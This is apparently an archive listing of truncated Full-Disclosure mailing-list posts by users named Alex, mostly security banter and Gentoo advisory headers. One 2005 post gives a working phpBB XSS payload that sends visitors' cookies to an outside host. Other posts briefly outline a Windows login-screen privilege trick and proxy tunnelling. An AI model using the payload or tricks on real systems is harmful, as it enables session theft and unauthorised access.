Re: [Full-disclosure] Deutsche Post Security Cup 2013

2013-03-21 Thread Alex
IMHO the goal here is not to find many vulns, it is to find none and therefore "prove" that the product is secure. The E-POST product is highly questioned in Germany, because it is sold as secure encrypted email service, although the security is only between server and client. The server unencryp

Re: [Full-disclosure] [ MDVSA-2013:101 ] lynx

2013-04-10 Thread Alex
I agree! I hate those MDVSA spam!! On Wed, 10 Apr 2013 17:36:59 +0200, Fabian Wenk wrote: > Hello Erik > > On 10.04.2013 17:16, Erik Falor wrote: >> On Wed, Apr 10, 2013 at 11:44:22AM +0100, Peter W-S wrote: >>> Is it really necessary to spam the list with a separate email for every >>> issue y

Re: [Full-disclosure] [ MDVSA-2013:101 ] lynx

2013-04-14 Thread Alex
Just start a vote somewhere. From what I read so far, many people complained about it, one guy blamed Apple and wants the email and many others filtered this conversation (maybe based on the subject). Regarding Cisco, HP and the others that spam the list, I feel like they spam less than Mandriv

Re: [Full-disclosure] RAT list

2013-04-15 Thread Alex
I believe RAT is what the kiddies call a trojan... trojanfrance and vxheavens may help you, if they are still online and up2date. On Mon, 15 Apr 2013 00:59:04 -0300, Antonio Leiva wrote: Hi list! :) i want to know if any website there where i can find a list of RAT and where to download or

Re: [Full-disclosure] On Skype URL eavesdropping

2013-05-17 Thread Alex
Its funny to see Microsoft using SSH ;) 22/tcp open ssh VanDyke VShell sshd 3.8.6.476 (protocol 2.0) Btw, nmap thinks it is Vista Device type: general purpose Running: Microsoft Windows Vista OS details: Microsoft Windows Vista Have 2 log entries: [29/Apr/2013:15:09:36 +0200] [18/Apr/20

Re: [Full-disclosure] Microsoft Outlook Vulnerability: S/MIME Loss of Integrity

2013-06-18 Thread Alex
"Case in point: Google don't even offer support for S/MIME in GMail and it's probably the most widely used online email service available today." You mean like using GMail via Webmail (without PGP)? Which security professional would do this? Do you still use Telnet to manage your devices instea

Re: [Full-disclosure] Abusing Windows 7 Recovery Process

2013-06-29 Thread Alex
Or just add an account to SAM file with local admin privs (while booting from another OS). Nothing new or special imo. Am 2013-06-28 19:46, schrieb Anastasios Monachos: > Hi List; > > The following may be of interest: > http://intelcomms.blogspot.com/2013/05/owning-windows-7-from-recovery-

Re: [Full-disclosure] tor vulnerabilities?

2013-07-04 Thread Alex
I run 5 tor nodes. I can tell that 5 nodes on the network are save for me. Trust tor. I will not run dsniff or tcpdump. Its save. I will never abuse the logins you gave me for free. Afk now, that one guy is surfing on xhamster, nice video choice Am 3. Juli 2013 16:34:52 schrieb Georgi Gunins

Re: [Full-disclosure] WordPress User Account Information Leak / Secunia Advisory SA23621

2013-07-08 Thread Alex
I am no HTML/JS expert, but WP is open source, so why not just post a patch instead of building plugins and/or scripts to abuse it.. https://wordpress.org/download/source/ [7] Am 2013-07-05 15:30, schrieb Dan Ballance: > I don't *now* know if they see it as a security feature, but when you

Re: [Full-disclosure] Facebook Url Redirection Vuln.

2013-07-11 Thread Alex
I checked your video and found out, that this mailinglist is also vulnerable. Check this out: http://www.google.de/ [10] If a user clicks on this link, he will be brought to the malicious site. Am 2013-07-11 13:18, schrieb CANSIN YILDIRIM: > ---

Re: [Full-disclosure] Abusing Windows 7 Recovery Process

2013-07-12 Thread Alex
I doubt that you can use the SAM from another computer on yours. The SAM file is encrypted. For further reading/information google "bkhive" and/or "samdump2". I still agree, that the computer is compromised once you get physical access. If you do it via USB/CD live boot or removing the HDD do

Re: [Full-disclosure] Abusing Windows 7 Recovery Process

2013-07-13 Thread Alex
n the magnify tool. CMD opens up with SYSTEM privs. Add your local admin user. Dirty and fast. On Fri, Jul 12, 2013 at 5:40 AM, Alex wrote: > ** > > I doubt that you can use the SAM from another computer on yours. The SAM > file is encrypted. > > For further reading/information

Re: [Full-disclosure] Abusing Windows 7 Recovery Process

2013-07-13 Thread Alex
And trigger automated incident/alarm Am 13. Juli 2013 13:54:04 schrieb Julius Kivimäki : Swap out tripwire/ossec/whatever you use? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and spons

Re: [Full-disclosure] Abusing Windows 7 Recovery Process

2013-07-13 Thread Alex
You didn't tell us how you cracked the full disc encryption. (There are ways around controls, but that is why we have multiple security layers.) Am 13. Juli 2013 22:49:11 schrieb valdis.kletni...@vt.edu: On Sat, 13 Jul 2013 22:13:38 +0300, Moshe Israel said: > All secured/regulated systems as

Re: [Full-disclosure] Abusing Windows 7 Recovery Process

2013-07-14 Thread Alex
Discussion is drifting away. It is a nice discovery but nothing with big impact. Am 14. Juli 2013 08:27:23 schrieb Moshe Israel : My response was to "how many system implement such controls". You could however (since u have access) disconnect the network cable, replace magnify wt cmd etc. a

Re: [Full-disclosure] Abusing Windows 7 Recovery Process‏

2013-07-14 Thread Alex
Mcafee KB 66153 Am 14. Juli 2013 06:40:57 schrieb whizzb...@hush.ai: > You didn't tell us how you cracked the full disc encryption. (There are > ways around controls, but that is why we have multiple security layers.) With a bootkit, of course. (That is why we have multiple tools.) _

Re: [Full-disclosure] Top Information Security Consultants to Hire -- WANTED

2013-07-25 Thread Alex
TOP security consultants add themself on the list BY THEMSELF ;) Btw, I am freelancing in Germany and so far I have more offers than I could complete. Why would you ask for jobs? Am 2013-07-25 02:45, schrieb Tweedle Doh: > On Wed, Jul 24, 2013 at 11:40 PM, Gary Baribault wrote: > On 07/24/

Re: [Full-disclosure] XKeyscore sees 'nearly EVERYTHING you do online

2013-08-01 Thread Alex
The XKeyscore slides are on cryptome: http://cryptome.org/2013/07/nsa-xkeyscore.pdf [4] Am 2013-08-01 09:23, schrieb Georgi Guninski: > XKeyscore sees 'nearly EVERYTHING you do online > > http://www.theregister.co.uk/2013/07/31/prism_put_in_the_shade_by_leak_about_even_more_powerful_snoop_to

Re: [Full-disclosure] XKeyscore sees 'nearly EVERYTHING you do online

2013-08-01 Thread Alex
The US will crash the USD (mass inflation), make the bonds held by China worthless, get rid of their depts and go on (into some years of economical crisis). I think they don't do it, because the world will move from USD to Euro and US companies will have a hard time defending against buyouts. A

Re: [Full-disclosure] XKeyscore sees 'nearly EVERYTHING you do online

2013-08-02 Thread Alex
What happened is that they taped the links from Level 3 (and maybe others) between the Exchanges (DE-CIX) and the DCs. That way they got most of the traffic. German's may want to read http://www.golem.de/news/nsa-skandal-wie-der-de-cix-abgehoert-wird-1308-100745.html [4] Am 2013-08-02 15:50,

Re: [Full-disclosure] Facebook allows disclosure of friends list.

2013-08-06 Thread Alex
Nice finding, but how do you know the victims email address? Am 2013-08-06 05:41, schrieb Bhavesh Naik: >   > BLOG POST LINK : > _HTTP://TECHIELOGIC.WORDPRESS.COM/2013/08/04/FACEBOOKS-FRIENDS-LIST-DISCLOSURE-VULNERABILITY/ > [3]_ >   Affected application: facebook.com > Impact: Access to

Re: [Full-disclosure] Facebook allows disclosure of friends list.

2013-08-06 Thread Alex
ss to it" > > This was in a private browser session, so no cookies for facebook existed > (also in firefox, which I don't normally use anyway). > > My speculation on this is that facebook keeps track of IPs that you commonly > log in from. If you are trying to recover

Re: [Full-disclosure] Facebook allows disclosure of friends list.

2013-08-07 Thread Alex
It does not work for all accounts. For example FB will ask me for the security question, all I can do is enter it or abort the recovery process (no option to skip it). Am 2013-08-06 20:12, schrieb Bhavesh Naik: > Answer to your queries: > >> Yes you are correct works on account which has be

Re: [Full-disclosure] pixlr.com bluecoat image file bypass

2013-08-09 Thread Alex
its called proxy chaining/tunneling and you can setup your own proxy to bypass your company's proxy using https://code.google.com/p/phproxyimproved/ [3] or similar. Am 2013-08-08 18:27, schrieb debug: > if one is confined to the bluecoat (bluecoat.com) proxysg, the > pixlr.com/editor page all

Re: [Full-disclosure] Special Issue "Threat Detection, Analysis and Defense" of JISA

2013-08-09 Thread Alex
Elsevier sells the journals to universities for crazy amounts (the top 10 from university of karlsruhe can be seen here http://www.bibliothek.kit.edu/cms/teuerste-zeitschriften.php [5] with 2 Euro beeing the most expensive one). Althought you submit your paper for free (or even pay for "corre

Re: [Full-disclosure] Special Issue "Threat Detection, Analysis and Defense" of JISA

2013-08-09 Thread Alex
am shocked, i am. ... Is this common practice?! > > Alex, vrijdag 9 augustus 2013 10:51 > > Elsevier sells the journals to universities for crazy amounts (the top 10 > from university of karlsruhe can be seen here > http://www.bibliothek.kit.edu/cms/teuerste-zeitschriften.php [

Re: [Full-disclosure] Who's behind limestonenetworks.com AKA DDoS on polipo(8123)

2013-08-19 Thread Alex
fragmented icmpv6 if they use windows Am 2013-08-19 06:35, schrieb Stefan Jon Silverman: > Can I have my mid-90's ping-of-death back??? was incredibly useful for > getting people (on internal corporate networks) to call the helpdesk when > their desktops were going DNS-crazy or otherwise sh

Re: [Full-disclosure] CAPTCHA re-riding attack in https://google.com

2013-08-28 Thread Alex
I don't see a captcha bypass, all I see is a wget command with Cookie and Session ID and such. while true; do echo "Yes, I am blind!"; done Am 2013-08-26 18:04, schrieb kevin philips: > Hi Adam, > As discussed, this issue just a captcha bypass problem. Except this case, I > don't know goo

Re: [Full-disclosure] Serious Yahoo bug discovered. Researchers rewarded with $12.50

2013-10-02 Thread Alex
lmao Am 2013-10-02 05:18, schrieb Ivan .Heca: > http://grahamcluley.com/2013/09/serious-yahoo-bug/ [3] > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html [1] > Hosted and sponsored by Sec

Re: [Full-disclosure] Handling bad ISP's

2013-10-23 Thread Alex
It's a free vuln scan. Be happy. ;) Am 24. Oktober 2013 02:49:11 schrieb coderman : On Wed, Oct 23, 2013 at 3:20 PM, Pedro Worcel wrote: > Being aware that he is being scanned doesn't sound too bad! now if only those unaware of their scanning could be enlightened... (one of your hosts unexpe

Re: [Full-disclosure] Slightly OT: What SSL cert do you consider strongest?

2013-10-23 Thread Alex
Maybe adding the key or at least hash of it to DNS would help against mitm attacks. Has anyone thought of it before? Google doesn't give me useful hits. The same system is used in SSH. Even governments would have problems if the NS are for different TLD ... Am 23. Oktober 2013 17:59:49 schrie

Re: [Full-disclosure] I'm new here, and I already have something to share

2013-11-08 Thread Alex
I don't care about this worm. Having password on ssh is not user friendly. Damn you security guys. Am 7. November 2013 07:02:23 schrieb Jack Johnson : It is a user friendly report about a new worm/rootkit (only goes into worm mode when UUCP is active) that is able to, but has not yet, wreaked

Re: [Full-disclosure] whatsapp opening url in background

2013-11-15 Thread Alex
Chrome does prefetch and prerender currently (https://developers.google.com/chrome/whitepapers/prerender [4]) in ancient times it did only DNS lookups. Am 2013-11-15 09:21, schrieb Jerome Athias: > Hi, > > fyi > I've seen Chrome (on Mac OSX) doing at least two requests to the > "first domai

RE: [Full-disclosure] Web App Auditings

2005-10-24 Thread alex
Maxpatrol Security Scanner www.maxpatrol.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of William Sent: Monday, October 24, 2005 10:31 PM To: full-disclosure@lists.grok.org.uk Subject: [Full-disclosure] Web App Auditings I know there are is MET and S

[Full-disclosure] NVIDIA and Zdnet.de vs Microsoft

2005-03-31 Thread alex
Interesting news: News.com reports that the world biggest hardware vendor Nvidia and online German news site ZDnet conspired against Microsoft. The business partners decided to ignore the Microsoft License Agreement and published Windows XP Corporate Edition with Crack on the web. The software gia

Re: [security] [Full-disclosure] NVIDIA and Zdnet.de vs Microsoft

2005-03-31 Thread Alex
Fake re-direction to http://www.securitylab.ru/... - what you would like to archive by this? - Original Message - From: "alex" <[EMAIL PROTECTED]> To: Sent: Thursday, March 31, 2005 1:55 PM Subject: [security] [Full-disclosure] NVIDIA and Zdnet.de vs Microsoft &g

Re: [security] [Full-disclosure] NVIDIA and Zdnet.de vs Microsoft

2005-03-31 Thread Alex
Oops, sorry - it is already April 1st in Europe... - Original Message - From: "Alex" <[EMAIL PROTECTED]> To: "alex" <[EMAIL PROTECTED]>; Sent: Thursday, March 31, 2005 4:38 PM Subject: Re: [security] [Full-disclosure] NVIDIA and Zdnet.de vs Microso

[Full-disclosure] Kaspersky antivirus

2005-06-07 Thread alex
http://www.securitylab.ru/55018.html Kaspersky antivirus v. 5.0.227, 5.0.228, 5.0.335 under Windows2000. There is nothing found under Windows XP. There is Windows2000 security subsystem breakout found inside Kaspersky antivirus v. 5.0.227, 5.0.228, 5.0.335. It is possible to exploit it with loc

RE: [Full-disclosure] Web application Security Scanner

2005-06-13 Thread alex
Maxpatol - www.maxpatrol.com "Maxpatrol inspects all scripts installed on server for vulnerabilities allowing unauthorized file access, data access or manipulation or possible termination of service using intelligent algorithms." -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL

RE: [Full-disclosure] Web application Security Scanner

2005-06-13 Thread alex
Try to use freeware service (owned by Cisco System and Positive technologies) - www.freescan.ru. This service can help found many unknown bug in custom Web application. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Todd Towles Sent: Monday, June 13, 20

[Full-disclosure] anybody know good service for cracking md5?

2010-02-03 Thread Alex
i find some sites which says that they can brute md5 hashes and WPA dumps for 1 or 2 days. is it true? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.

RE: [Full-disclosure] Cisco PIX embryonic state machine TTL(n-1) DoSand Cisco PIX embryonic state machine 1b data DoS

2006-03-07 Thread alex
Both cases are bad example. First case demonstrates Cisco routers internal architecture, not vulnerability. In second case vulnerability was in CGI Web application Cisco uses on corporate site, not in Cisco product. It was promptly patched immediately after vendor contact. -Original Message--

RE: [Full-disclosure] Links to Google's cache of 626 FrSIRT exploits

2006-03-20 Thread alex
The best exploits collection (in Russian): http://www.securitylab.ru/poc/ -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of str0ke Sent: Monday, March 20, 2006 9:34 PM To: [EMAIL PROTECTED] Cc: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure

[Full-disclosure] XSS in nested tag in phpbb 2.0.16

2005-07-05 Thread alex
Hi all! Example: [color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'styl e='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://antic hat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/u rl][/url]'[/color] More info: http://www.securit

[Full-disclosure] FW: [PTsecurity] MaxPatrol Network Security Scanner - Free unlimited version has been released.

2005-07-25 Thread alex
MaxPatrol Network Security Scanner Free unlimited version 7.0.1401 has been released. Download URL: http://www.maxpatrol.com/tb_demo.asp --- Maxpatrol Core Features: [+] Web-server and Web Application structure analysis. Maxpatrol analyzes the structure of Web Applications to d

RE: [Full-disclosure] FW: [PTsecurity] MaxPatrol Network Security Scanner - Free unlimited version has been released.

2005-07-25 Thread alex
than 2000 signatures). Some little example automatically discovered vulnerabilities you can see here: http://www.maxpatrol.com/mp_advisory.asp May I testing any site you want? :) -Original Message- From: Daniel [mailto:[EMAIL PROTECTED] Sent: Monday, July 25, 2005 9:57 PM To: alex Cc:

RE: [Full-disclosure] Revised paper on "ICMP attacks against TCP"

2005-09-05 Thread alex
Russian version (22.08.2005, with some analysis): http://www.securitylab.ru/contest/239695.php -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Fernando Gont Sent: Monday, September 05, 2005 5:15 PM To: bugtraq@securityfocus.com; full-disclosure@lists.gro

Re: [Full-disclosure] PDF's unsafe?

2005-09-21 Thread Alex
sful) Alex - Original Message - From: "Geo." <[EMAIL PROTECTED]> To: Sent: Wednesday, September 21, 2005 12:29 PM Subject: RE: [Full-disclosure] PDF's unsafe? > >> and I know it doesn't run javascript or allow > executable attachments in

Re: [Full-disclosure] Grab a myspace credential

2007-01-15 Thread Alex
On Mon, 15 Jan 2007 10:04:32 -0500 "North, Quinn" <[EMAIL PROTECTED]> wrote: > "[EMAIL PROTECTED]:doyouhonestlythinkiwillputmyrealpass > wordhere" > > ...at least there is some hope left in the world :-\ > > --=Q=-- As long as myspace exists t

Re: [Full-disclosure] marc's list getting bigger, grab while you can

2007-01-15 Thread Alex
On 15 Jan 2007 14:50:43 -0800 merlyn@stonehenge.com (Randal L. Schwartz) wrote: > >>>>> "Alex" == Alex <[EMAIL PROTECTED]> writes: > > Alex> I was thinking about putting a copy on my server, but I figured > Alex> that would be a waste of

[Full-disclosure] [ GLSA 201110-02 ] Wireshark: Multiple vulnerabilities

2011-10-09 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201110-02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201110-19 ] X.Org X Server: Multiple vulnerabilities

2011-10-22 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201110-19 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201110-22 ] PostgreSQL: Multiple vulnerabilities

2011-10-25 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201110-22 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201110-23 ] Apache mod_authnz_external: SQL injection

2011-10-25 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201110-23 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201111-01 ] Chromium, V8: Multiple vulnerabilities

2011-11-01 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 20-01 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201111-02 ] Oracle JRE/JDK: Multiple vulnerabilities

2011-11-05 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 20-02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201111-06 ] MaraDNS: Arbitrary code execution

2011-11-20 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 20-06 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201111-07 ] TinTin++: Multiple vulnerabilities

2011-11-20 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 20-07 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201111-08 ] radvd: Multiple vulnerabilities

2011-11-20 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 20-08 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201111-09 ] Perl Safe module: Arbitrary Perl code injection

2011-11-20 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 20-09 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201111-10 ] Evince: Multiple vulnerabilities

2011-11-20 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 20-10 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201111-11 ] GNU Tar: User-assisted execution of arbitrary code

2011-11-20 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 20-11 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201111-12 ] abcm2ps: Multiple vulnerabilities

2011-11-20 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 20-12 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201201-16 ] X.Org X Server/X Keyboard Configuration Database: Screen lock bypass

2012-01-27 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201201-16 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

Re: [Full-disclosure] when did piracy/theft become expression of freedom

2012-01-30 Thread Alex Buie
by far. Kudos. Alex ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [ GLSA 201201-18 ] bip: Multiple vulnerabilities

2012-01-30 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201201-18 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201201-19 ] Adobe Reader: Multiple vulnerabilities

2012-01-30 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201201-19 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] GLSA (Gentoo Linux Security Advisory) publication changes

2012-02-02 Thread Alex Legler
orums at https://forums.gentoo.org/viewforum-f-16.html All past and new advisories can be viewed at http://glsa.gentoo.org/ Please contact secur...@gentoo.org with any questions. -- Alex Legler Gentoo Security/Ruby/Infrastructure signature.asc Description: This is a digitally signed message

Re: [Full-disclosure] Linksys Routers still Vulnerable to Wps vulnerability.

2012-02-13 Thread Alex Buie
Just morbidly curious, what did you use for the SSID? On Feb 12, 2012 5:31 PM, "Derek" wrote: > They should at least consider providing an option to disable the static > pin only or disable it after an hour if the future is activated by the user. > > Seems to be something that could be included i

Re: [Full-disclosure] Oracle Exadata Infiniband Switch default logins and world readable shadow file

2012-03-16 Thread Alex Buie
I like the two day notification window... On Mar 14, 2012 6:36 PM, "larry Cashdollar" wrote: > > Oracle Exadata Infiniband Switch default logins and world readable shadow file > > Hi Full-Disclosure List, > > I've noticed a minor issue with the 1/4 rack Oracle Exadata Solution. > > What is Exadat

Re: [Full-disclosure] is my ISP lying or stupid?

2012-03-23 Thread Alex Buie
Hahahah, that's wonderful. On Mar 21, 2012 12:06 PM, "Thor (Hammer of God)" wrote: > Actually, those promiscuous sub-VLANs are bad news. I got a virus from > one that turned my hard drive into a floppy. > > t > > >-Original Message- > >From: full-disclosure-boun...@lists.grok.org.uk [mai

Re: [Full-disclosure] phpMyBible 0.5.1 Mutiple XSS

2012-04-23 Thread Alex Buie
On Sun, Apr 22, 2012 at 8:22 PM, wrote: > On Sun, 22 Apr 2012 19:59:46 -, "Thor (Hammer of God)" said: > > You dropped a FD on the BIBLE?? Dude, you're going straight to Hacker > Hell! :) > > Wait, wouldn't that require that the unerring Word of God was buggy? ;) > > Hahahahahaha, this made

Re: [Full-disclosure] Fwd: Vulnerability research and exploit writing

2012-04-25 Thread Alex Buie
What the hell is an "empanelment"? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google Accounts Security Vulnerability

2012-05-13 Thread Alex Buie
This reminds me of my bank, where the password can only be 12 characters long and only alphanumeric, but they compensate with "security questions", "Web pin" and SMS auth, where I would be perfectly content (and save time) sec-wise if they would just let me use my normal >24 character password sche

Re: [Full-disclosure] Certificacion - Profesional Pentester

2012-05-23 Thread Alex Buie
This is gonna be fun. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] About IBM

2012-05-29 Thread Alex Sugarmann
-- Message: 2 Date: Sun, 27 May 2012 23:51:09 +0300 From: "MustLive" Subject: [Full-disclosure] About IBM To: Message-ID: <00ac01cd3c4a$8302fcf0$9b7a6fd5@ml> Content-Type: text/plain; format=flowed; charset="windows-1251"; reply-type=response Hello gu

Re: [Full-disclosure] A Chat With The NGR Bot

2012-06-13 Thread Alex Buie
I love these posts that troll for visits to someone's site. -- Alex Buie Network Coordinator / Server Engineer KWD Services, Inc Media and Hosting Solutions +1(703)445-3391 +1(480)253-9640 +1(703)919-8090 ab...@kwdservices.com ज़रा On Wed, Jun 13, 2012 at 4:28 PM, Adam Behnke wrote: >

Re: [Full-disclosure] DC4420 - London DEFCON - August Meet - Tuesday 27th August 2013

2013-08-27 Thread Alex Dolan
I read the blog post, great work! RFID has become so interesting lately especially with the introduction of the self checkout EFT machines. You're basically left alone with an RFID reader. Will have heaps of fun with one of these RFIDlers! On 26/08/2013 6:34 PM, "Major Malfunction" wrote: > Bank

[Full-disclosure] CVSphoto.com Stores Passwords Unhashed

2013-12-23 Thread Alex Buie
I don't have the human bandwidth to deal with yelling at CVS for this right now, but figured I'd make a ML post about it if someone wants to do so. The email I got is here: http://i.imgur.com/bII9iGw.png Please feel free to try creating an account yourself and "forgetting" your password. -a

Re: [Full-disclosure] MSN Messanger Virus

2005-12-13 Thread Alex Kelly
> A friend of mine contacted me because his MSN Messenger started trying > to send files to everyone on his contact list. I signed on and it send > me this message: > > Mira las fotos >>> http://hometown.aol.com.au/miralafoto/imagens001.exe > > I've run a couple of virus scanners on this file with

[Full-disclosure] RE: [funsec] WMF round-up, updates and de-mystification

2006-01-03 Thread Alex Eckelberry
Fwiw -- Ilfak's servers went down, he has taken up temporary residence at Castlecops. http://castlecops.com/f212-Hexblog.html Alex Eckelberry -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Gadi Evron Sent: Tuesday, January 03, 2006 4:01

Re: [Full-disclosure] infosecbofh

2006-01-05 Thread Alex Krycek
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 I hate to be so frank Frank and Frank(o)...but sit down and shut up Frankie'boyz...and remember to raise your collective hands next time before you decide to spue that noise out of your pie-holes. At least his shit is fun to read, yours reads like a pa

Re: [Full-disclosure] help: I need to crack my box

2008-07-21 Thread Alex Howells
2008/7/21 Lucio Crusca <[EMAIL PROTECTED]>: > Believe it or not, I have a linux box (mine, yes it's mine) I need to own... > the problem is that it phisically resides a few 100km from here and someone > else has changed the root password... I can still log in as luser and I > wonder if I have a cha

[Full-disclosure] [ GLSA 201003-01 ] sudo: Privilege escalation

2010-03-03 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201003-01 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

Re: [Full-disclosure] Full-Disclosure Digest, Vol 63, Issue 16

2010-05-13 Thread Alex Cachia
Ok tx Regards, -- Alex Cachia - Director of Engineering GFI Software - www.gfi.com > -Original Message- > From: full-disclosure-boun...@lists.grok.org.uk [mailto:full- > disclosure-boun...@lists.grok.org.uk] On Behalf Of full-disclosure- > requ...@lists.grok.org.uk >

Re: [Full-disclosure] Full-Disclosure Digest, Vol 63, Issue 16

2010-05-13 Thread Alex Cachia
Yes, I know what a digest is... replied to the wrong email by mistake... apologies... Regards, -- Alex Cachia - Director of Engineering GFI Software - www.gfi.com > -Original Message- > From: Alex Cachia > Sent: Thursday, May 13, 2010 2:03 PM > To: full-disclosure@lists

[Full-disclosure] [ GLSA 201006-03 ] ImageMagick: User-assisted execution of arbitrary code

2010-06-01 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201006-03 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201006-02 ] CamlImages: User-assisted execution of arbitrary code

2010-06-01 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201006-02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201006-04 ] xine-lib: User-assisted execution of arbitrary code

2010-06-01 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201006-04 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201006-01 ] FreeType 1: User-assisted execution of arbitrary code

2010-06-01 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201006-01 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

2010-06-02 Thread Alex Legler
